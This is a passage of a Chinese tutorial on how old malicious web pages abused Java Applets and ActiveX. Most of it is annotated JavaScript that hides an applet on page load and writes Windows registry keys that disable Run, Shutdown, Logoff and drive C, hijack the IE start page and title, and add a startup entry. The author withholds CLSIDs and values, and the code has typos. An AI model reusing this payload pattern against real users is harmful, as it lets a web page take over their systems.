深入研究恶意代码 以上都是在讲解一些预防和查杀的基础知识。对于一些计算机中级玩家来说可能有点肤浅。下面我们就从程序技术方面来彻彻底底的了解一下网页恶意代码是怎么制作的。
网页恶意代码程序讲解了 解一些有关Applet、ActiveX及脚本语言方面的知识,在下载含 有恶意代码后 ,对其引用的Javascript脚本文件进行了一些分析。由于安全原因,请恕我不 能将代码完整地写出来或者对程序的编写进行过细的讲解,只是 让大家了解到 这个代码并不神秘。JAVA的最初应用就是Applet程序。虽然JAVA对Applet的安 全作出了限制,但由于浏览器或语言漏洞的原因,当它与功能比较强大的脚本 语言结合时,这些小应用程序常可凭借正常或诡秘的手段对用户 的机器进行修 改,比如修改注册表,运行相关的DOS命令,在用户机器上安装木马或激活相 关的应用程序,其功能之强大远非单纯的网页所能胜任,由此看来,现在网上 所流传的说什么浏览相关网页中病毒或者硬盘被格式化也就见怪 不惊了。另外 ,还有一种嵌入式应用程序就是ActiveX,是微软的一种插件技术,也可以象 Applet一样进行一些针对本机的操作。现在让我们了解一下以下代码编制的机 理(如果你不了解脚本语言,可仅看看程序修改了哪些注册表表 项,然后找到 这些表项并修改回来)。
document.write(\"〈APPLET HEIGHT=0 WIDTH=0 code=.......〉〈 /APPLET〉\");
file://嵌入Applet文件
function f){
file://做出种种修改的语句就在这个函数里
try
{
//ActiveX initialization
a1=document.applets[0];
file://获取applet运行对象,以下语句指向注册表中有关IE的表项
a1.setCLSID(\"{.............}\");
a1.createInstance();
Shl = a1.Get
Object();
a1.setCLSID(\"{.............}\");
a1.createInstance();
FSO = a1.Get
Object();
a1.setCLSID(\"{.............}\");
a1.createInstance();
Net = a1.Get
Object();
try
{
if (
document.cookie.indexOf(\"Chg\") == -1)
{
//以下是对操作系统相关注册表项值项的修改
//使系统没有“运行”项,以防止用户就不能通过注册表 编辑器 来修复设置。
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\ Explorer\\\\NoRun\", 01, \"REG_BINARY\");
//让操作系统无“关闭系统” 选项
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\ Explorer\\\\NoClose\", 01, \"REG_BINARY\") ;
//让操作系统无“注销”选项
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\ Explorer\\\\NoLogOff\", 01, \"REG_BINARY\");
注:使受害者系统没有“注销”项
//让操作系统无逻辑驱动器C
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\ Explorer\\\\NoDrives\", \"00000004\", \"REG_DWORD\");
//禁止运行所有 的DOS应用程序;
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\ WinOldApp\\\\ Disabled\",\"REG_BINARY\") ;
//让操作系统无法切换 至传统DOS的实模式下
Shl.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\ \\WinOldApp\\\\NoRealMode\",\"REG_BINARY\") ;
// 让系统登录时显示一个登录窗口,以下是写入启动弹出对话 框标 题
Sh1.RegWrite ( \"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Winlogon\\\\Legal NoticeCaption\", \"........\");
// 写入启动弹出对话框内 容
Sh1.RegWrite ( \"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Winlogon\\\\Legal NoticeText\", \"...............\");
//以下是对IE 相关注册表项值项 的修改
// 设置浏览器默认主页
Sh1.RegWrite (\"HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Start Page\", \"..............\");
// 修改启动中的输入法启动项
Sh1.RegWrite ( \"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Run\\\\internat.e xe\", \"..............\");
// 设置注册不可更改
Sh1.RegWrite ( \"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ Policies\\\\WinOl dApp\\\\NoRealMode\", \"00000000\", \"REG_DWORD\");
//修改 浏览器的标题栏
Shl.RegWrite (\"HKLM\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title\", \"...............\");
Shl.RegWrite (\"HKCU\\\\Software\\\\Microsoft\\\\Internet Explorer\\\\Main\\\\Window Title\", \"..............\");
// 以下程序是将含恶意代码的网页添加至 收藏夹中
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + \"\\\\Favorites\";
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName (WF) + \"\\\\Documents and Settings\\\\
\" + Net.UserName + \"\\\\Favorites\";
if(FSO.FolderExists( loc))
{
AddFavLnk(loc, \"显示标题.....\", \"URL......\" );
}
}
//设置 cookie值
var expdate = new Date((new Date( )).getTime() + (1));
document.cookie=\"Chg=general; expires=\" + expdate.toGMTString( ) + \"; path=/;\"
}
}
catch(e)
{}
}
catch(e)
{}
}
//初始化函数,并每隔一秒执行修 改程序
function init()
{
setTimeout(\"f()\", 1000);
}
init();